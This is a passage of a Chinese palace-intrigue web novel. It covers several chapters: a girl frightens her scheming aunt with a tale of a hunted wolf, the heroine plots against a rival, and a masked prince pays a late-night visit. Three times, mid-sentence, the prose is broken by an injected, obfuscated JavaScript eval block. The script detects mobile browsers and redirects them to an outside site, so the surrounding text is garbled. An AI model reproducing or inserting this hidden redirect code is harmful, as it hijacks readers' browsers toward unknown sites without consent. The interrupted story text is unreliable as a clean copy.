“前些日子,我好说歹说,才劝得她戴了两根银簪子,可瞧着还是寒酸。” “你说说,这好歹也是我们赵家的大小姐,传出去像什么样子?” 赵芊芊心想,‘钱清雪变成现在这样,还不是你们大房给逼的?’ 但面上,她只是附和着笑了笑: “大伯母说的是,阿柔姐姐是该好好打扮打扮。” “这事儿急不得,大伯母您慢慢劝。” 韦氏等的就是她这句话。 “可不是嘛,所以我说,还是芊芊你懂事。” 她拉着赵芊芊的手,状似无意地提起: “对了,芊芊,你跟你那位清表姐,关系如何?” 赵芊芊心中一凛。 来了! 绕了这么大一个圈子,这位大伯母,总算是露出真面目了。 “清表姐啊……” 赵芊芊故作犹豫地顿了顿,压低声音,神秘兮兮地说道: “大伯母,我跟您说,您可千万别告诉别人。” “我那位清表姐,可不是个好惹的主儿。” “她呀,厉害着呢。” 赵芊芊故意卖了个关子,见韦氏果然被她的话吸引,这才继续说道: “您是没瞧见,在临川的时候,有个不知死活的纨绔子弟,想对清表姐动手动脚。” “结果您猜怎么着?” 赵芊芊朝韦氏眨了眨眼。 “第二天,那纨绔子弟的府上,就收到了一份‘大礼’——” “您猜是什么?” 韦氏被她勾起了好奇心,忍不住追问: “是什么?” 赵芊芊嘿嘿一笑,一字一顿地说道: “一、头、狼!”“送了匹什么?” 韦氏端着茶盏的手猛地一抖,茶水溅出几滴,烫得她“嘶”了一声,险些把手里的青瓷莲花盏给扔出去。 “当然是狼啊。” 赵芊芊轻眨双眸,语气无辜又理所当然,仿佛送狼是什么再寻常不过的事情。 “那时候厉将军和顾将军正忙着前线的战事,不常回府,军务繁忙。那些不开眼的,还当清表姐是好欺负的软柿子呢,一个个的,就跟那没见过肉的苍蝇似的,嗡嗡嗡地围上来。” 她说着,忍不住在心里翻了个白眼,把那些曾经打过晏清澜主意的人,从头到脚又数落了一遍。颇有些恨铁不成钢的意味。 赵芊芊想起当初自己和晏清澜的那点过节。 那时在临川城,她年少气盛,不知天高地厚,还埋怨晏清澜下手没轻没重,一点不顾念姐妹情分。 现在想想,晏清澜那是手下留情了,真要跟她计较,自己哪还有命在?怕是骨头渣子都不剩了! 她一边回忆,一边不着痕迹地打量着韦氏的脸色。 见韦氏嘴角微微抽搐,脸色发白,额头上似乎还渗出了细密的汗珠,赵芊芊“好心”地凑近了些,压低声音,用一种神秘兮兮的语气说道: “大伯母,您是不知道,临川那地方,山头里头可是有真狼的,成群结队,凶得很!” 她故意顿了顿,用眼角的余光瞟着韦氏,看着韦氏的瞳孔骤然缩紧,像是受了极大的惊吓,才慢悠悠地补充: “那匹狼,还是清表姐亲手猎的呢!您想想,一个姑娘家,单枪匹马,哦,不对,是单弓单箭,就把一匹狼给猎了回来,这是什么本事?” 赵芊芊微微扬起下巴,带着几分小得意,还有几分与有荣焉的骄傲。 “后来啊,也不知道清表姐派去的人,跟那不知天高地厚的纨绔子弟家里说了什么。反正从那以后,整个临川,甭管是达官显贵,还是街头混混,见了清表姐,哪个不是绕着道走?就连那刚会走路的小娃娃,见了清表姐,都吓得不敢哭呢!” 韦氏脸上的笑容再也维持不住,僵硬得像是寒冬腊月里被冻住的窗花,又像是被人点了穴道。 她张了张嘴,想说些什么,喉咙却像是被什么堵住了似的,一个字也吐不出来。 赵芊芊歪着头,一脸天真无邪地看着她: “大伯母,您这是怎么了?脸色这么难看?是不是哪里不舒服?要不要我叫人去请个大夫来给您瞧瞧?” 韦氏深吸一口气,强迫自己扯出一个比哭还难看的笑容,摆了摆手: “没,没什么,我只是……只是没想到,阿清竟然这般……这般……” 她“这般”了半天,也没“这般”出个所以然来。 她总不能说,自己是被晏清澜的“壮举”给吓到了吧? 就因为旁人几句言语上的轻薄,晏清澜竟然直接送了匹狼过去! 这是何等的……何等的……彪悍! 韦氏已经找不出合适的词来形容晏清澜了。 她只觉得一股寒气从脚底板直窜上来,激得她起了一身的鸡皮疙瘩,后背的衣裳都被冷汗给浸透了。 就晏清澜这睚眦必报、心狠手辣的性子,真能心甘情愿地任人摆布,当个没脾气的棋子? 韦氏越想越心惊,越想越害怕。 她脑子里乱哄哄的,像是有一千只蜜蜂在嗡嗡乱飞。 突然,她想到了钱雅芝的那个“妙计”——让晏清澜嫁入澜王府,给她的宝贝儿子赵鸿铺路,让他日后在官场上能平步青云…… 韦氏一个激灵,像是被人当头浇了一盆冰水,瞬间清醒了过来。 她不敢再往下想了。 她觉得,以晏清澜的性子,别说给玉儿铺路了,怕是能直接把他给活埋了! 先前晏清澜救了八皇子韩瑾,在韦氏看来,不过是她运气好,恰好碰上了而已。 她压根就没把晏清澜放在眼里。 就算晏清澜在景元帝面前,闹着要搬出钱府,韦氏也只当她是小孩子脾气,耍小性子,根本没当回事。 可现在,听赵芊芊这么一说,韦氏总算是明白了。 晏清澜哪里是什么温顺的小绵羊,分明是只披着羊皮的狼! 不,比狼还可怕! 这样的人,她是万万惹不起的,更别提算计她了。 韦氏端起茶盏,猛灌了一大口,也顾不上烫了,囫囵吞枣般咽了下去,呛得她直咳嗽。 她胡乱地抹了把嘴角,站起身来,语气慌乱地说道: “那个……芊芊啊,我突然想起来,我还有点急事要处理,就先走了,改日再来看你。 第二百二十二章 ” 说完,也不等赵芊芊回答,便急匆匆地转身离去,那背影,活像是身后有鬼在追似的,仓皇而狼狈。 赵芊芊看着韦氏落荒而逃的背影,嗤笑一声,不屑地撇了撇嘴。 “哼,算你跑得快!不然,等清表姐回来,有你好看的!” 她拍了拍手,把伺候的丫鬟打发出去,自个儿在屋里悠哉悠哉地哼起了小曲,心情好得不得了。 而另一边,晏清澜并不知道,原本对她虎视眈眈的大舅母韦氏,已经被赵芊芊给吓得魂飞魄散,彻底打消了算计她的念头。 此刻,她正眉头紧锁,神情严肃地听着桂柔的回禀。 “你说什么?晏远舟最近……跟大哥走得很近?” 晏清澜的声音很轻,却带着一丝不容置疑的威严。 她口中的大哥,自然是宋明澜。 桂柔点了点头,脸色有些凝重: “小的是不经意间发现的。大公子平日里待人接物,一向冷淡疏离,就算是同僚,也很少与人深交,更别提对谁和颜悦色了。可这几日,他对晏远舟,却像是……像是对待多年的老友一般,颇为亲近。” 晏远舟是什么样的人,晏清澜心里一清二楚。 他心机深沉,诡计多端,最擅长的就是**人心,挑拨离间。 她抬眼看了看窗外的天色,夜幕已经完全降临,浓稠的夜色像是化不开的墨,将整个世界都笼罩在一片黑暗之中。 “备马,让人准备,我今夜得回陆府一趟。”她沉声吩咐道,语气不容置疑。 桂柔一愣,有些迟疑地劝阻道: “主子,您是要去找大公子吗?可大公子今日似乎是有公务在身,已经出门了,恐怕……今晚是不会回来了。您忘了?兵部最近在忙着整顿军务,大公子身为兵部侍郎,自然是脱不开身的。” 景元帝对宋明澜寄予厚望,有意栽培他,自然要让他多多历练。 晏清澜闻言,沉默了片刻,轻轻摇了摇头,眉宇间的忧虑更深了。 “罢了,那便不去了,明日再说吧。” 是她太心急了,关心则乱。 旁的事,她尚且能冷静应对,理智分析。 可一旦牵扯到陆家,她就没办法置身事外,没办法保持冷静。 那些血淋淋的画面,那些撕心裂肺的哭喊,那些锥心刺骨的疼痛…… 她永远都不会忘记,也不敢忘记。 晏远舟在其中扮演的角色,他所做的那些事情,更是让她恨不得将他千刀万剐! 虽说现在,宋溪溪还活着,陆家也没有像前世那样家破人亡。 八皇子韩瑾也安然无恙,并未如前世一般早夭。 陆家和景元帝之间,也没有因此生出嫌隙,反倒是君臣相得,关系更加紧密。 至于那个曾经在陆家灭门一事中,推波助澜的先太子,也因为私藏甲胄、私屯兵马等罪名,被景元帝下令处死,算是罪有应得。 可即便如此,晏清澜还是不敢掉以轻心。 她害怕历史会重演,害怕陆家会重蹈覆辙。 她必须步步为营,小心谨慎,不能让任何人、任何事,威胁到陆家的安危。 看来,晏远舟最近是过得太舒坦了,以至于忘了自己的身份,忘了自己该做什么,不该做什么。 她原本还想着,等过段时间,再慢慢收拾他。 可现在看来,他是不见棺材不掉泪,不见黄河不死心。 既然如此,那就别怪她心狠手辣了。 晏清澜缓缓抬起眼眸,眼底闪过一抹冰冷的寒芒,如同冬日里结了冰的湖面,泛着幽幽的冷光。 她改变了主意,决定改变实施已久的温水煮青蛙策略 “让影阁的人立刻行动,去盯着晏远舟的夫子,就是那徐姓之人。平日里总喜欢和晏远舟称兄道弟,还时不时地在人前夸赞晏远舟是‘品德高尚’、‘才华横溢’的‘真君子’的那个。” “我要知道,他最近都见了什么人,说了什么话,做了什么事。事无巨细,一律不许遗漏!” 邱夫子在国子监任教,颇有名望,在外的名声也极好,很受人尊敬。 世人都说,邱夫子和晏远舟是“名师出高徒”,两人都是才德兼备、品行高洁的真君子。 晏清澜冷笑一声,真君子? 她倒要看看,这个“真君子”的真面目,到底是什么样子的! 她本来没打算这么快就对晏远舟动手,可他千不该万不该,不该把主意打到宋明澜身上,更不该妄想利用宋明澜,来达到他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278181|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可告人的目的。 桂柔领命而去,他知道,这一次,晏远舟怕是在劫难逃了。 晏清澜心里头的怒火,却并没有因为桂柔的离去而平息,反倒像是被浇了一勺油,烧得更旺了。 她原本的计划,是先断了苏府和澜王府之间的联系,让他们互相撕咬,互相争斗,自相残杀。 可现在,她改变主意了。 对待这种不知死活,还总想着咬人的恶犬,就得先把它打怕了,打服了,打残了! 只有这样,它才会乖乖地夹起尾巴做人,才不敢再兴风作浪。 一股夜风从半开的窗户吹了进来,带着雨后特有的清新和湿润,拂过她的脸颊,稍稍吹散了她心头的烦躁和郁闷。 她走到窗边,微微低着头,出神地想着心事,脑海中不断地闪过前世的那些画面,以及今生发生的种种。 突然,一道清冷低沉的声音,在她耳边响起: “想什么呢?这么入神,连我来了都没发觉。” 这声音低沉而富有磁性,像是上好的琴弦,轻轻拨动,就能奏出美妙的乐章。 晏清澜猛地抬头,这才发现童玄珏不知何时站在了她身后,正似笑非笑地看着她。 他今夜穿了一身玄色的长袍,衬得他身形越发挺拔修长。 他没有戴那个标志性的银白色面具,露出了一张俊美无俦的脸。 那张脸,如同精雕细琢的玉石,完美得没有一丝瑕疵。 他的眉眼深邃,鼻梁挺直,薄唇紧抿,嘴角微微上扬,带着一抹若有似无的笑意,让人捉摸不透。夜色已深,更鼓声远远传来,一下一下,仿佛敲在人的心上。 晏清澜猛地抬头,看清来人,是童玄珏。 她眼底闪过一丝诧异,随即又恢复了平静。 “这么晚了,你怎么来了?” 她不动声色地侧身,让开进屋的路。 童玄珏今晚没戴那标志性的银白色面具,露出了那张俊美得过分的脸。 晏清澜的目光落在他脸上,带着几分探究,几分玩味。 “不戴面具,倒是少了几分拒人千里之外的冷峻,多了几分……” 她故意停顿了一下,像是在寻找合适的形容词,又像是在斟酌该如何表达。 第二百二十三章 “人味儿?” 尾音微微上扬,带着一丝不易察觉的调侃。 童玄珏对晏清澜言语中的机锋恍若未闻。 他自顾自地走到桌边,倒了两杯茶,将其中一杯推到晏清澜面前, 自己则在她对面坐下,姿态随意而放松。 “怎么,不习惯?”他眉梢轻挑,似笑非笑地看着她。 灯下看美人,更何况是童玄珏这般姿容。 那张脸,像是上好的玉石精雕细琢而成,完美得挑不出一丝瑕疵。 只是,那双眼睛太过深邃,像是藏着无尽的秘密,让人看不透,也猜不透。 晏清澜端起茶杯,轻轻抿了一口,感受到茶水温热,却驱不散心头的寒意。 “确实不太习惯。”她缓缓开口,声音很轻,却很清晰,“不过,” 她顿了顿,唇角勾起一抹浅笑, “不戴面具,倒是更好看些。” 晏清澜没说假话,这张脸确实当得起一句“惊为天人”。 只是可惜,这人不是什么好相与的。 她暗自提醒自己,要小心应对。 童玄珏没接她的话茬,只是定定地看着她,眼神幽深,让人捉摸不透。 “刚刚脸色那么难看,是谁惹你了?” 他的声音低沉而富有磁性,像是带着某种魔力,让人不自觉地想要倾诉。 晏清澜却避而不答,只是反问: “你大老远跑浮萍居来干嘛?” 她可不相信,这位高高在上的燕王殿下,会无缘无故地出现在这里。 总不至于是饿了,特意跑来要一碗面吃吧? 晏清澜在心里暗自腹诽。 童玄珏垂眸轻笑,笑声低沉而愉悦,像是某种乐器的低鸣。 再抬眼时,他眸光清凌凌地落在晏清澜身上,像是要将她看穿。 “睡不着,出来走走。” 他顿了顿, “路过这里,便进来看看。” 这话,三分真七分假。 童玄珏确实是睡不着,也确实是出来走了走。 但他并非“路过”,而是有意来此。 至于为何有意……他自己也说不清。 或许是想看看,这丫头又在谋划什么。 他身上还带着夜里的凉气, 晏清澜自然也注意到了。 雨是停下来了,但风吹过来,还是冷飕飕的。 火光摇曳,映得童玄珏的侧脸忽明忽暗, 轮廓在光影中更显深邃。 晏清澜起身,从一旁的柜子里找了块干净的帕子,递给童玄珏。 “擦擦吧,别着凉了。” 她的语气不冷不热,听不出关心,却也不算冷漠。 童玄珏接过帕子,却没用它去擦拭身上的水汽,只是握在手里把玩。 指尖轻轻摩挲着帕子的纹路,像是透过这柔软的布料,感受着什么。 “不用管它。”他话锋一转,“你这边的风景,看起来还挺像样。” 毕竟是景元帝赏的宅子,再差也差不到哪儿去。 何况晏清澜自己也让人移栽了些竹子、枫树过来, 白天瞧着就很好看,晚上更是别有一番趣味。 晏清澜顺着他的目光看向窗外。 夜色中,竹影绰绰,枫叶簌簌而落,影影绰绰的,别有一番意境。 风吹过,竹叶发出沙沙的声响,像是有人在低声细语。 她轻轻“嗯”了一声,算是回应。 “是不错,不过比不上澜王府。” 那日,她与童玄珏在澜王府屋顶上喝酒, 也曾借着高处打量过澜王府的景致。 澜王府的布置无疑是极尽精巧的, 只是,莫名让人觉得怪怪的,大抵是太空旷了些。 不过她这浮萍居,其实也差不多,一样空旷,夜里更显得寂静。 想到这里,晏清澜的心头涌起一丝莫名的情绪。 童玄珏哂笑一声,低头饮茶,放下手中茶盏后,他才缓缓开口, “你今天心情不太对劲,可是为了庄家的事?” 他没提晏远舟的名字,而是用了更笼统的“庄家”。 晏清澜眸光微动,心底闪过一丝不悦。 这人,总是能轻易地看穿她的心思。 她扯了扯嘴角,露出一抹似笑非笑的表情,却带着几分冷意。 “燕王殿下倒是对我的家事很感兴趣。” 她语气淡淡的,听不出是夸奖还是讽刺。 童玄珏像是没听出她话里的机锋,只是自顾自地说道: “庄家那几个,成事不足败事有余,留着也是祸害。” 他眼尾微微挑起,带着几分漫不经心。 “不是我小道消息多,是你自己把心事都写脸上了。” 他顿了顿, “晏清澜,你这伪装的本事,可还差得远呢。” 晏清澜不置可否,只是端起茶杯,轻轻吹了吹,却不急着喝。 童玄珏看着她,继续道: “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281844|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,你也不必太过在意。”他语气一转, “只要能瞒过那些蠢货,便足够了。” 晏清澜依旧没有回应,像是对他的话不感兴趣。 童玄珏见她不说话,也不觉尴尬,自顾自地继续说道: “你还是心太软了,才让庄家那些人以为你还像从前那样好欺负。” 这话,带着几分告诫的意味。 他目光落在晏清澜的眉头上,那眉头微微蹙起,像是藏着无尽的心事。 “晏远舟现在敢算计到宋明澜头上,以后,怕是会更加肆无忌惮。” 他语气淡淡的, “你若再不出手,恐怕要养虎为患了。” 晏清澜身子微微后仰,靠在椅背上,姿态放松,眼神却变得锐利起来。 她唇角勾起一抹冷笑,带着几分嘲讽,几分不屑。 “所以呢?”她反问道, “燕王殿下是想劝我斩草除根?” 她语气冰冷, “还是说,你想对我出手?” 童玄珏看着她,笑了。 那笑容,带着几分玩味,几分戏谑。 “我倒是想看看,你会怎么做。” 他顿了顿, “不过,若你真需要帮忙,我也不是不能考虑。” 晏清澜想也没想,直接拒绝。 “不必了。”她声音冷冽, “我自己的事,自己能解决。” 开玩笑,她怎么可能让童玄珏插手? 这人深不可测,心思难料,谁知道他安的什么心? 她可不想把自己搭进去。 童玄珏也不勉强,只是淡淡一笑。 “随你。”他语气随意, “不过,我倒是听说了一件事。” 他故意停顿了一下,看着晏清澜。 “一件,与你有关的事。” 晏清澜拧眉,目光冷冽地看向他。 “什么事?”她声音冰冷,带着一丝不耐。 童玄珏看着她,缓缓开口: “韩承煜看上你了。” 他语气平静,像是在陈述一个事实。 晏清澜听了,脸色瞬间阴沉下来。 “他想做什么?”她声音冰冷,带着一丝怒意。 童玄珏看着她, “他还能做什么?自然是想纳你进府,做他的解语花。” 他语气中带着一丝嘲讽,一丝不屑。 晏清澜冷笑一声, “他倒是打得一手好算盘。 第二百二十四章 ” 她早就料到韩承煜不会放过她,只是没想到,他会这么快就动手。 童玄珏看着晏清澜,像是想到了什么,突然笑了起来。 “你那五妹妹,倒是对韩承煜情有独钟。” 他语气中带着一丝玩味, “你说,若是她知道韩承煜看上了你,会是什么反应?” 晏清澜冷冷地看了他一眼。 “无聊。” 她对这些毫无意义的猜测不感兴趣。 她现在只想知道,童玄珏今晚来这里的真正目的。 她不相信,他只是为了告诉她这些。 童玄珏看着她,缓缓收敛了笑容。 “晏清澜,你比我想象的,要聪明得多。”“明知山有虎,偏向虎山行,还指望着老虎不**,那不是蠢是什么?” 晏清澜眼睫低垂,遮掩住眸中一闪而过的思绪,语气中带着几分嘲弄。 她像是突然想起了什么,复又抬眸,指尖在茶盏边缘轻轻摩挲,发出细微的声响。 童玄珏赞同地点头,轻轻拍了拍手,那声音在安静的室内清晰可闻: “你能看得这么透彻真不错。” 晏清澜话锋一转,唇角微微上扬,勾勒出一抹玩味的弧度,她似笑非笑地看着童玄珏,目光中带着几分挑衅的意味: “所以,童玄珏,我明知你心怀鬼胎,此刻,是不是该把你扫地出门?” 童玄珏被她这话噎得一愣,嘴角的笑意也僵了一瞬。 这把火,怎么烧到自己身上来了? 他抬手揉了揉眉心,试图缓和一下气氛,索性半真半假地承认道: “从前,确实心怀鬼胎。至于现在么……” 他故意停顿下来,没有再说下去,眼神却变得幽深了几分,似乎在酝酿着什么。 现在么,他所图谋的,可不仅仅是揭穿她的身份那么简单。 童玄珏看着晏清澜,故意朝她眨了眨眼,带着几分戏谑的意味: “不过,你若真想赶我走,好像也不是不行。” 他顿了顿,视线不着痕迹地扫过窗外,又补充道: “只是我来时走的不是寻常路,若是被赶走,肯定不会打道回府。” 他微微挑眉,语气中带着几分威胁的意味: “更深露重,夜黑风高,要是我被你从浮萍居轰出去,即便咱俩之间坦坦荡荡,可外头那些长舌之人,也未必会相信。” “所以,”他顿了顿,加重了语气,“晏四姑娘还是别把我撵走比较好。” 晏清澜听完,沉默片刻,只回了他两个字: “呵呵。” 她双手抱胸,身体微微后倾,斜睨了童玄珏一眼,眼神中带着几分不屑: “脸皮真厚。” 这评价,童玄珏却坦然受之,甚至还颇为赞同地点了点头。 他唇角笑意加深,带着几分自得: “我若脸皮薄,又怎能像现在这样,与你相对而坐?” 他若脸皮薄,此刻便如那杨澜一般,只能远远地观望,不敢靠近。 不过,那杨澜看人的眼光倒是不错。 想到这里,童玄珏的眼神暗了暗,闪过一丝不悦。 他话锋一转,语气中多了几分认真: “不过,我与韩承煜那等表里不一之人不同,我不靠裙带关系上位。” 晏清澜深深看他一眼,似乎在判断他这句话的真假。半晌,她终于还是没忍住,语气中带着几分戏谑: “你想靠,也得有人肯让你靠啊。” 她停顿了一下,像是怕他不明白,又补充道: “哪个姑娘敢嫁给素有‘活阎王’之称的童玄珏?” “哪家父母放心把女儿交给你?就不怕哪天,被你给活活吓死?” 童玄珏闻言,脸上的笑容不变,只是眼中闪过一丝无奈: “这倒也是。” 晏清澜上下打量他一番,视线停留在他那张脸上。不得不承认,这张脸确实生得极好,终究还是没昧着良心说话: “但你若摘了面具,再收敛些你那吓人的脾气,想来,还是会有不少姑娘愿意让你利用的。” 收敛脾气? 童玄珏在心里暗自思忖,在她面前,自己似乎也没怎么发过脾气。 除了初次见面时,有些许不愉快。 其余时候,两人相处倒也算得上“融洽”。 他身子往后一仰,靠在椅背上,眉峰微微挑起,带着几分探究的意味看向晏清澜: “也包括你?” 晏清澜毫不犹豫地翻了个白眼,以表达自己的不屑。 她端起茶盏,轻轻吹了吹茶沫,优雅地喝了一口,动作赏心悦目: “那倒不会,我不喜欢被人当枪使,最讨厌被人当冤大头。” 童玄珏回视她,眼神深邃: “我也受不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281845|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了笨蛋。” 尤其不喜欢那种,被人骗了还心甘情愿的傻子。 晏清澜微微颔首,表示理解。 童玄珏却觉得,两人似乎有些不在一个频道上。 说的,根本不是一回事。 他有些烦躁地揉了揉眉心,正要开口解释。 突然—— 咔嚓! 一道闪电划破夜空,紧接着,一声炸雷响起,震耳欲聋。 大雨,毫无征兆地倾盆而下,雨点噼里啪啦地砸在窗户上,发出密集的声响。 童玄珏几乎是下意识地起身,大步走到窗边。 他刚要伸手关窗,却听见外头传来一阵急促的脚步声,由远及近。 “姑娘,姑娘!您没事吧?” 是守夜丫鬟的声音,带着显而易见的担忧和焦急。 还未等晏清澜开口,另一个丫鬟的声音也响了起来: “这么大的雷,姑娘怕是吓着了,快去看看!” 两个丫鬟的声音交织在一起,在这雷雨夜里显得格外清晰。 童玄珏眉头微皱,他可不想让这两个丫鬟撞见自己和晏清澜共处一室。 他正要开口让她们离开,却听见晏清澜的声音,不疾不徐地从内室传来: “我无事,这雨来得急,你们快去把院子里的花搬进来,莫要淋坏了。” 晏清澜的声音不大,却清晰地传到了每个人的耳朵里。 两个丫鬟闻言,顿时松了口气,连忙应道: “是,姑娘,奴婢们这就去。” 说完,一阵急促的脚步声渐渐远去。 童玄珏这才将窗户关紧,转身回到桌边坐下。 晏清澜端坐在那里,神色平静,仿佛刚才的雷声和丫鬟的惊呼都与她无关。 她瞥了一眼童玄珏,语气中带着几分戏谑: “你不来的时候,风平浪静,你一来,这外头就电闪雷鸣。” 童玄珏无奈地叹了口气,脸上露出几分哭笑不得的表情: “这也能怪到我头上?我又不是龙王,还能呼风唤雨不成?” 晏清澜反唇相讥: “你不请自来,还怪我不讲道理?” “照你这么说,下次你来,我是不是该敲锣打鼓、张灯结彩,再让全府的丫鬟小厮都出来列队欢迎?” 童玄珏扶额,语气中带着几分妥协: “那倒也不必如此大费周章。 第二百二十五章 ” 晏清澜没再理会他,自顾自地端起茶盏,轻轻啜饮。 雷声渐渐小了下去,雨势却丝毫没有减弱的迹象。 雨水打在芭蕉叶上,发出“噼啪噼啪”的声响,一声声,仿佛敲打在人的心上,让人心烦意乱。 困意渐渐袭来,晏清澜忍不住打了个哈欠,眼皮也开始打架。 她皱了皱眉,看向童玄珏,语气中带着几分不耐烦: “我困了,你还要赖在这里多久?” 童玄珏盯着她看了一会儿,眼神有些复杂,似乎在思考着什么。 他没有直接回答她的问题,而是反问道: “外头这雨势,你觉得我能走?” 晏清澜漫不经心地“哦”了一声,抬眸看他,眼神中带着几分玩味: “与我何干?” 童玄珏被她噎得一时语塞,深吸一口气,平复了一下情绪。 他抬起手,本想捏一下她的脸颊,却又想起她上次因为这个动作而生气,便硬生生地将手放了下来。 童玄珏嘴角微微抽搐,语气中带着几分无奈: “总不能真让我冒着大雨回去。” 他顿了顿,看着晏清澜,语气放缓: “更何况,这雷雨交加的,万一我路上出了什么意外,你岂不是要担责任?” 晏清澜听了,心里一阵无语。 这童玄珏,还真是会给自己找借口。 不过,正如他所说,这大雨天的,他还真不好走。 万一真出了什么事,自己也脱不了干系。 她正思忖着,童玄珏已经自顾自地站起身来,走到一旁,背对着她,声音低沉: “你先睡吧,雨停了,我自会离开。” 这厮虽然不是什么好东西,却也做不出趁人之危的事。 晏清澜看着他的背影,眼神闪烁不定。 她犹豫了片刻,最终还是起身,走到床边,拉下床帘,和衣而卧。 既然赶不走他,那就只能眼不见为净了。晨曦微露,雨后的空气带着泥土的芬芳,沁人心脾。 晏清澜缓缓睁开眼,身侧早已没了温度,童玄珏不知何时已经离去。 她揉了揉惺忪的睡眼,起身,简单洗漱,换上一身利落的湖蓝色衣裙。 推开房门,一股清新的凉意扑面而来,像是要把人带入深秋。 庭院里的芭蕉叶上,还挂着晶莹剔透的雨珠,在晨光的照耀下,折射出细碎的光芒,摇摇欲坠。 地面微微湿润,残留着浅浅的水洼,倒映着她纤细的身影。 这场雨,应该停下没多久吧。晏清澜心想。 她没有像往常一样在院中练剑,只是静静地站着,感受着这难得的宁静。 唇角,微微勾起。 汴京城这几日看似风平浪静,实则暗流涌动。 再过不久,就有好戏看了。她敛了敛眸,眼底闪过一抹期待,像是一只蓄势待发的猎豹。 “姑娘,早饭备好了。”夏竹的声音从走廊那头传来,打断了她的思绪。 晏清澜转身回屋,夏竹正将几样精致的早点一一摆放在桌上,动作轻巧而熟练。 窗外,一排青竹在微风中轻轻摇曳,发出沙沙的声响,更显幽静。 晏清澜落座,忽然感到一丝凉意,她拢了拢衣袖,这件衣裳似乎有些单薄了。 “夏竹,算算日子,秋天是不是快到了?”她轻声问道,目光落在窗外的竹叶上,似乎想透过它们看到更远的地方。 夏竹点点头,将一碟桂花糕推到晏清澜面前,轻声细语: “嗯,就这几日了。姑娘,您也知道,一入秋,天气说变就变,可得仔细着些。” 她顿了顿,又补上一句,“早晚多添件衣裳,别着凉了。” 晏清澜的身体状况,一直是夏竹心头的一块大石。虽说这几年晏清澜的身子骨硬朗了不少,但夏竹还是习惯性地为她操心。 晏清澜轻轻“嗯”了一声, “知道了。” 她拿起一块桂花糕,轻轻咬了一口,思绪却飘到了别处。 想起昨晚童玄珏的“借宿”,还有他今早要来吃面的约定。 她放下桂花糕,状似不经意地问: “灶台上还剩下白面吗?我记得上次买的好像不多了。” 夏竹立刻回答:“有的,姑娘,昨日刚添置了些新的,您这是想……” “中午随便做点吃的。”晏清澜打断了她的话,语气淡淡的。 夏竹愣了一下,随即反应过来,“姑娘,您是想亲自下厨?” 晏清澜没有直接回答,而是反问: “怎么,不行?” “当然不是!”夏竹连忙摆手,笑着说,“姑娘做的东西,那可是比御厨做的还要好吃!” 她对晏清澜的厨艺推崇备至,这话倒也不全是奉承。 在夏竹心里,晏清澜就如同无所不能的仙女,总能化腐朽为神奇。 别的不说,就说那普普通通的食材,一到晏清澜手里,就能变成各种各样的美味佳肴,让人叹为观止。 夏竹想了想,又问: “那……需要奴婢先让厨房备着高汤吗?您想做什么样的面?” 晏清澜略一思索, “鸡汤吧。对了,上次大哥送来的那盒太子参,挑几根出来,一起炖上。” “好嘞!”夏竹应了一声,转身就要去厨房。 “等等。”晏清澜叫住了她, “算了,我自己去吧。” 她站起身,理了理衣袖,朝厨房走去。 夏竹有些疑惑,但还是乖乖地跟在后面。 厨房里,蒸汽氤氲,弥漫着淡淡的鸡汤香味。 晏清澜净手,挽起袖子,从面粉袋里舀出适量的面粉。 她没有立刻开始和面,而是先走到灶台前,揭开锅盖看了看。 鸡汤已经炖得差不多了,汤色奶白,香气扑鼻。 她拿起汤勺,轻轻撇去浮沫,又将准备好的太子参放入锅中。 然后,她才回到案板前,开始和面。 面团在她的手中不断变化,时而柔软如丝绸,时而劲道如牛筋。 她将和好的面团放入一个青花瓷盆中,盖上一层湿布,放在温暖的地方醒发。 趁着醒面的时间,晏清澜开始准备其他的食材。 她从橱柜里取出一个小巧精致的玻璃罐子,里面装着满满的焦糖。 这是她闲暇时熬制的,用来做甜点最合适不过。 她又取了几个鸡蛋,一些牛奶,开始制作焦糖布丁。 焦糖的甜香,鸡蛋的浓香,牛奶的醇香,混合在一起,在厨房里弥漫开来,让人忍不住想要一探究竟。 当晏清澜将一个个晶莹剔透、Q弹嫩滑的焦糖布丁从模具中倒扣出来时,夏竹在一旁看得眼睛都直了。 “姑娘,您这手艺,真是绝了!”她忍不住赞叹道。 晏清澜笑了笑,将其中一个布丁推到夏竹面前, “尝尝。” 夏竹拿起勺子,小心翼翼地挖了一小块,放入口中,顿时被那甜蜜的味道征服了。 第二百二十六章 “好吃!太好吃了!”她连连点头, “姑娘,您这布丁,比我在外面吃过的任何甜点都要好吃!” “喜欢就好。”晏清澜看着她,眼中闪过一丝温柔。 面醒好后,晏清澜再次揉面、拉面。 她动作娴熟,一气呵成,将面团拉成细如发丝的面条。 